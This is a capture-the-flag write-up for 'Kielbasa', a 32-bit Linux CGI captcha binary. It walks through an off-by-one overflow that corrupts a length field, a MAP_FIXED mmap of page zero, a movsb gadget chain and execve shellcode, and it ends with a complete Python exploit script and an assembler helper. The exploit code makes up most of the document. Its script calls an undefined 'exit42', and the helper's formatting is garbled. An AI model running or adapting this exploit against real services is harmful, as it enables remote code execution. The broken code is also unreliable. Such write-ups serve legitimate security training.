Kielbasa is a linux elf32 cgi binary which generates and validates ASCII art captchas.

It is accessed via the following address: http://61.42.25.20/captcha/captcha.cgi?q=sent&v=<captcha>&t_s=<timestamp>

It runs on a CentOS 6.2 with exec-shield and stack randomization. SELinux appears to be disabled and mmap_min_addr = 0 so we can mmap the first page. It also turned out that this page was exectuable.

Disclaimer: Our exploit seemed to fail on the remote service (Apache returned an error) but near the end of the ctf we found out that using another shellcode did in fact work.

Stage 1 - Craft the stack

The vulnerable function is sub_8048EB0, it has the following stack:

top of the stack
          ...
-0x168 char* QUERY_STRING
-0x164 char t_s[32]
-0x144 size_t v_size
-0x140 char v[32]
-0x120 char* user_agent
-0x11C char* ptr_to_t_s
-0x118 char* remote_port
-0x114 char* somewhere
-0x110 char* remote_addr
-0x109 uint8 mmap_flags
-0x108 int use_malloc
          ...
bottom of the stack

There is an off by one overflow on the size of the t_s paramater wich lets us overwrite the first byte of v_size (default is 8). As t_s can only contain digits, the maximum value we can put in v_size is 0x39, the ASCII value for 9. Thus we can overwrite the stack up to -0x107 (second byte of use_malloc) with the content of v.

It then executes (many checks have been removed):

/* ... */
if (use_malloc)
{
    buf = malloc(0x1000u);
    /* ... */
}
else
{
    buf = mmap(0, 0x1000u, mmap_flag, 0, 0);
    /* ... */
}

/* ... */
sprintf(buf, "[%s][%s][%s]\n\n", remote_addr, remote_port, user_agent);
/* ... */

if (!*ptr_to_t_s && *somewhere)
{
    jmp(0);
    return -1;
}

/* ... */

Our goal is to trigger the mmap with the following flags: MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS and then to use the jmp(0) in order to execute our mapped page.

The page have to contain valid code. We only control the three pointers remote_addr, remote_port and user_agent, used by the sprintf call ([ is pop ebx and ] is pop ebp).

We needed to find null terminated gadget that would be concatenated.

When we jump to 0x0 the registers have the following values:

esi = 0xffffd011 = pointer to v
edi = 0

We then searched for a movsb gadget and found an movsb followed by jmp $ - 4 hidden in a lea esp, [ebp-244h]:

$ rasm2 -d 8da57cfdffff
lea esp, [ebp+0xfffffd7c]
$ rasm2 -d a57cfd
movsd
jl 0x8048000

As rasm2 start address is 0x08048000 we can see that this produces an movsb infinite loop that copies our v buffer to 0x0 and this until the movsb loop gets overwritten. Our stage2 shellcode is located in the v buffer at offset 0x8. The jmp $ - 4 is replaced by a jmp 0x8 wich execute our shellcode.

We put this gadget in our user_agent and junk (but valid) code in remote_addr and remote_port in order to reserve some place to put our stage2 shellcode.

Before:

(gdb) x/17i 0
 => 0x0:         pop    ebx     ; [
    0x1:         nop            ; junk
    0x2:         nop
    0x3:         nop
    0x4:         push   ebp
    0x5:         mov    ebp,esp
    0x7:         cmp    DWORD PTR ds:0x804afa4,0x5d ; ] is eaten by cmp
    0xe:         pop    ebx     ; [
    0xf:         nop            ; junk
    0x10:        nop
    0x11:        nop
    0x12:        push   ebp
    0x13:        mov    ebp,esp
    0x15:        cmp    DWORD PTR ds:0x804afa4,0x5d ; ] is eaten by cmp
    0x1c:        pop    ebx     ; [
    0x1d:        movs   DWORD PTR es:[edi],DWORD PTR ds:[esi]
    0x1e:        jl     0x1d

After:

(gdb) x/17i 0
   0x0:         popa               ; v[0] = 'a'
   0x1:         popa               ; v[1] = 'a'
   0x2:         popa               ; v[2] = 'a'
   0x3:         popa               ; v[3] = 'a'
   0x4:         popa               ; v[4] = 'a'
   0x5:         popa               ; v[5] = 'a'
   0x6:         popa               ; v[6] = 'a'
   0x7:         popa               ; v[7] = 'a'
   0x8:         xor    ecx,ecx     ; stage2 shellcode
   0xa:         inc    ecx
   0xb:         shl    ecx,0x5
   0xe:         sub    di,0x8
   0x12:        add    si,0x19
   0x16:        rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
   0x18:        nop
   0x19:        nop
   0x1a:        nop
   0x1b:        nop
   0x1c:        nop
   0x1d:        nop
=> 0x1e:        jmp    0x8

Here is the stack we crafted:

null      = struct.pack("<I", 0x0804897f)
nops      = struct.pack("<I", 0x080488bd)
movs_jmp  = struct.pack("<I", 0x0804963d)
jmp_arg0  = struct.pack("<I", 0x08049648)

MAP_PRIVATE    = 0x02
MAP_FIXED      = 0x10
MAP_ANONYMOUS  = 0x20

mmap_flag = struct.pack("B", MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS)

v = captcha                  # v[0:8]
v += stage2                  # v[8:28]
v += (30 - len(v)) * b'\x90' # nop padding
v += yasm("jmp $ - 22")      # v[28:32] = b"\xeb\xe8"
v += movs_jmp                # v[32:36] user_agent
v += null                    # v[36:40]
v += nops                    # v[40:44] remote_port
v += jmp_arg0                # v[44:48]
v += nops                    # v[48:52] remote_addr
v += b"\x01" * 3             # v[52:55]
v += mmap_flag               # v[55:56]

Stage 2 - Copy our full shellcode

Our stage2 is very simple, when we jump back to 0x8 we have the QUERY_STRING pointer in esi.

stage2 = yasm("""
    BITS 32

    xor ecx, ecx
    inc ecx
    shl ecx, 5 ; 0x100

    sub di, 8
    add si, 25

    rep movsb
""")

Stage 3 - Free pwn

We put our full length stage3 shellcode at the end of our query:

http://61.42.25.20/captcha/captcha.cgi?q=sent&v=<captcha>&t_s=<timestamp>&<stage3>

For example, a simple ls:

ls = yasm("""
    BITS 32

    xor ecx, ecx
    mul ecx

    push ecx
    push 0x736c2f2f   ;; sl//
    push 0x6e69622f   ;; nib/
    mov ebx, esp
    push ecx

    push ebx
    mov ecx, esp

    mov al, 11
    int 0x80
""")

Full exploit

#!/usr/bin/python3
import os
import struct

from asm import yasm

stage2 = yasm("""
    BITS 32

    xor ecx, ecx
    inc ecx
    shl ecx, 5 ; 0x100

    sub di, 8
    add si, 25

    rep movsb
""")

ls = yasm("""
    BITS 32

    xor ecx, ecx
    mul ecx

    push ecx
    push "//ls"  ;; sl//
    push "/bin"  ;; nib/
    mov ebx, esp
    push ecx

    push ebx
    mov ecx, esp

    mov al, 11
    int 0x80
""")

nops      = struct.pack("<I", 0x080488BD)
movs_jmp  = struct.pack("<I", 0x0804963d)
null      = struct.pack("<I", 0x0804897f)
jmp_arg0  = struct.pack("<I", 0x08049648)

MAP_PRIVATE    = 0x02
MAP_FIXED      = 0x10
MAP_ANONYMOUS  = 0x20

mmap_flag = struct.pack("B", MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS)

t_s = b"9999999999999999999999999999999999999"
captcha = b"a" * 8

v = captcha
v += stage2
v += (30 - len(v)) * b'\x90' # nop padding
v += yasm("jmp $ - 22")
v += movs_jmp                # USER_AGENT
v += null
v += nops                    # REMOTE_PORT
v += jmp_arg0
v += nops                    # REMOTE_ADDR
v += b"\x01" * 3             # padding
v += mmap_flag

env = b'REMOTE_ADDR=192.168.103.61 REMOTE_PORT=80 REQUEST_METHOD="GET" '\
      b'HTTP_USER_AGENT="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"'

query = b"q=sent&t_s=" + t_s + b"&v=" + v + b"&" + exit42

os.system(env + b' QUERY_STRING="' + query + b'" ./captcha.cgi')

My asm.py tool:

```python #!/usr/bin/env python3

LSE - Rémi Audebert - 2012

import sys import tempfile import subprocess

def yasm(code): “"”Assemble x86 code with yasm

>>> yasm("int 0x80")
b'\\xcd\\x80'
"""
with tempfile.NamedTemporaryFile() as output_file:
    p = subprocess.Popen(['/usr/bin/yasm',
        '-fbin', # raw outout
        '-o', output_file.name,
        '-'],
        stdin=subprocess.PIPE)
    p.communicate(code.encode())

    return output_file.read()

def cstring(data): “”” Convert bytes to c string

>>> cstring(bytearray([0xcd, 0x80]))
'\\\\xcd\\\\x80'
"""
return "".join("\\x" + hex(c)[2:] for c in data)

if name == “main”: import doctest doctest.testmod()